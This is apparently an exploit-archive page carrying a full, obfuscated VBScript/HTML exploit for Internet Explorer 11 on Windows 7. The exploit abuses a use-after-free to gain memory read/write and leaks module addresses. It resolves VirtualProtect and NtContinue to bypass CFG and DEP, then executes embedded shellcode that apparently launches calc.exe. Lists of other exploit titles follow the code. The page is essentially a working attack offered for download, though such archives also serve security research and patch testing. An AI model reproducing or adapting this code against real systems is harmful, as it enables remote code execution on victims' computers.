Menu

Search for hundreds of thousands of exploits

"Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution"

Author

Exploit author

smgorelik

Platform

Exploit platform

windows

Release date

Exploit published date

2018-05-21

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr

IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093
Function IIIII(Domain) 
	lIlII=0
	IllllI=0
	IIlIIl=0
	Id=CLng(Rnd*1000000)
	lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
	If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
		lIlII=lIlII-(&h86d+6447-&H219b)
	End If

	IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
	IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
	IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
End Function

Function lIIII(ByVal lIlIl)
	IIll=""
	For index=0 To Len(lIlIl)-1
		IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
	Next
	IIll=IIll &"00"
	If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
		IIll=IIll &"00"
	End If
	For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
		lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
		lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
		lIIII=lIIII &"%u" &lIlIll &lIIIlI
	Next
End Function
Function lIlI(ByVal Number,ByVal Length)
	IIII=Hex(Number)
	If Len(IIII)<Length Then
		IIII=String(Length-Len(IIII),"0") &IIII    'pad allign with zeros 
	Else
		IIII=Right(IIII,Length)
	End If
	lIlI=IIII
End Function
Function GetUint32(lIII)
	Dim value
	llll.mem(IlII+8)=lIII+4
	llll.mem(IlII)=8		'type string
	value=llll.P0123456789
	llll.mem(IlII)=2
	GetUint32=value
End Function
Function IllIIl(lIII)
	IllIIl=GetUint32(lIII) And (131071-65536)
End Function
Function lllII(lIII)
	lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
End Function
Sub llllll
End Sub
Function GetMemValue
	llll.mem(IlII)=(&h713+3616-&H1530)
	GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
End Function
Sub SetMemValue(ByRef IlIIIl)
	llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
End Sub
Function LeakVBAddr
	On Error Resume Next
	Dim lllll
	lllll=llllll
	lllll=null
	SetMemValue lllll
	LeakVBAddr=GetMemValue()
End Function
Function GetBaseByDOSmodeSearch(IllIll)
	Dim llIl
	llIl=IllIll And &hffff0000
	Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
		llIl=llIl-65536
	Loop
	GetBaseByDOSmodeSearch=llIl
End Function
Function StrCompWrapper(lIII,llIlIl)
	Dim lIIlI,IIIl
	lIIlI=""
	For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
		lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
	Next
	StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
End Function
Function GetBaseFromImport(base_address,name_input)
	Dim import_rva,nt_header,descriptor,import_dir
	Dim IIIIII
	nt_header=GetUint32(base_address+(&h3c))
	import_rva=GetUint32(base_address+nt_header+&h80)
	import_dir=base_address+import_rva
	descriptor=0
	Do While True
		Dim Name
		Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
		If Name=0 Then
			GetBaseFromImport=&hBAAD0000
			Exit Function
		Else
			If StrCompWrapper(base_address+Name,name_input)=0 Then
				Exit Do
			End If
		End If
		descriptor=descriptor+1
	Loop
	IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
	GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function

Function GetProcAddr(dll_base,name)
	Dim p,export_dir,index
	Dim function_rvas,function_names,function_ordin
	Dim Illlll
	p=GetUint32(dll_base+&h3c)
	p=GetUint32(dll_base+p+&h78)
	export_dir=dll_base+p

	function_rvas=dll_base+GetUint32(export_dir+&h1c)
	function_names=dll_base+GetUint32(export_dir+&h20)
	function_ordin=dll_base+GetUint32(export_dir+&h24)
	index=0
	Do While True
		Dim lllI
		lllI=GetUint32(function_names+index*4)
		If StrCompWrapper(dll_base+lllI,name)=0 Then
			Exit Do
		End If
		index=index+1
	Loop
	Illlll=IllIIl(function_ordin+index*2)
	p=GetUint32(function_rvas+Illlll*4)
	GetProcAddr=dll_base+p
End Function

Function GetShellcode()
	IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))
	IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
	GetShellcode=IIlI
End Function
Function EscapeAddress(ByVal value)
	Dim High,Low
	High=lIlI((value And &hffff0000)/&h10000,4)
	Low=lIlI(value And &hffff,4)
	EscapeAddress=Unescape("%u" &Low &"%u" &High)
End Function
Function lIllIl
	Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
	IlllI=lIlI(NtContinueAddr,8)
	IlIII=Mid(IlllI,1,2)
	llllI=Mid(IlllI,3,2)
	llIII=Mid(IlllI,5,2)
	lIllI=Mid(IlllI,7,2)
	IIlI=""
	IIlI=IIlI &"%u0000%u" &lIllI &"00"
	For IIIl=1 To 3
		IIlI=IIlI &"%u" &llllI &llIII
		IIlI=IIlI &"%u" &lIllI &IlIII
	Next
	IIlI=IIlI &"%u" &llllI &llIII
	IIlI=IIlI &"%u00" &IlIII
	lIllIl=Unescape(IIlI)
End Function
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
	Dim IIlI
	IIlI=String((100334-65536),Unescape("%u4141"))
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
	IIlI=IIlI &EscapeAddress(&h3000)
	IIlI=IIlI &EscapeAddress(&h40)
	IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
	IIlI=IIlI &String(6,Unescape("%u4242"))
	IIlI=IIlI &lIllIl()
	IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
	WrapShellcodeWithNtContinueContext=IIlI
End Function
Function ExpandWithVirtualProtect(lIlll)
	Dim IIlI
	Dim lllllI
	lllllI=lIlll+&h23
	IIlI=""
	IIlI=IIlI &EscapeAddress(lllllI)
	IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
	IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
	IIlI=IIlI &EscapeAddress(&h1b)
	IIlI=IIlI &EscapeAddress(0)
	IIlI=IIlI &EscapeAddress(lIlll)
	IIlI=IIlI &EscapeAddress(&h23)
	IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
	ExpandWithVirtualProtect=IIlI
End Function
Sub ExecuteShellcode
	llll.mem(IlII)=&h4d 'DEP bypass
	llll.mem(IlII+8)=0
    msgbox(IlII)		'VT replaced
End Sub

Class cla1
Private Sub Class_Terminate()
	Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
	IllI=IllI+(&h14b5+2725-&H1f59)
	lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
End Sub

End Class

Class cla2
Private Sub Class_Terminate()
	Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
	IllI=IllI+(&h880+542-&Ha9d)
	lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
End Sub
End Class

Class IIIlIl
End Class

Class llIIl
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value
	SetProp=0
End Function
End Class

Class IIIlll
Dim mem
Function P0123456789
	P0123456789=LenB(mem(IlII+8))
End Function
Function SPP
End Function
End Class

Class lllIIl
Public Default Property Get P
Dim llII
P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
	IIIlI(IIIl)=(&h2176+711-&H243d)
Next
Set llII=New IIIlll
llII.mem=lIlIIl
For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
	Set IIIlI(IIIl)=llII
Next
End Property
End Class

Class llllII
Public Default Property Get P
Dim llII
P=636598737289582e-328
For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
	IllII(IIIl)=(&h442+2598-&He68)
Next
Set llII=New IIIlll
llII.mem=lIIIll
For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
	Set IllII(IIIl)=llII
Next
End Property
End Class

Set llllIl=New lllIIl
Set IlIIII=New llllII
Sub UAF
	For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
		Set IIllI(IIIl)=New IIIlIl
	Next
	For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
		Set IIllI(IIIl)=New llIIl
	Next
	IllI=0
	For IIIl=0 To 6
		ReDim lIIl(1)
		Set lIIl(1)=New cla1
		Erase lIIl
	Next
	Set llll=New llIIl
	IllI=0
	For IIIl=0 To 6
		ReDim lIIl(1)
		Set lIIl(1)=New cla2
		Erase lIIl
	Next
	Set IIIIl=New llIIl
End Sub
Sub InitObjects
	llll.SetProp(llllIl)
	IIIIl.SetProp(IlIIII)
	IlII=IIIIl.mem
End Sub

Sub StartExploit
	UAF
	InitObjects
	vb_adrr=LeakVBAddr()
	Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr))
	vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
	Alert "VBScript Base: 0x" & Hex(vbs_base) 
	msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
	Alert "MSVCRT Base: 0x" & Hex(msv_base) 
	krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
	Alert "KernelBase Base: 0x" & Hex(krb_base) 
	ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
	Alert "Ntdll Base: 0x" & Hex(ntd_base) 
	VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
	Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) 
	NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
	Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr) 
	SetMemValue GetShellcode()
	ShellcodeAddr=GetMemValue()+8
	Alert "Shellcode Address 0x" & Hex(ShellcodeAddr) 
	SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
	lIlll=GetMemValue()+69596
	SetMemValue ExpandWithVirtualProtect(lIlll)
	llIIll=GetMemValue()
	Alert "Executing Shellcode"
	ExecuteShellcode
End Sub
StartExploit
</script>
</body>
</html>
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-12-24 "Adobe Flash ActiveX Plugin 28.0.0.137 - Remote Code Execution (PoC)" local windows smgorelik
2018-05-21 "Microsoft Internet Explorer 11 (Windows 7 x64/x86) - vbscript Code Execution" local windows smgorelik
2018-02-13 "Flash ActiveX 18.0.0.194 - Code Execution" local windows smgorelik
2016-02-16 "Flash ActiveX 28.0.0.137 - Code Execution (1)" local windows smgorelik
2016-02-13 "Flash ActiveX 28.0.0.137 - Code Execution (2)" local windows smgorelik 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected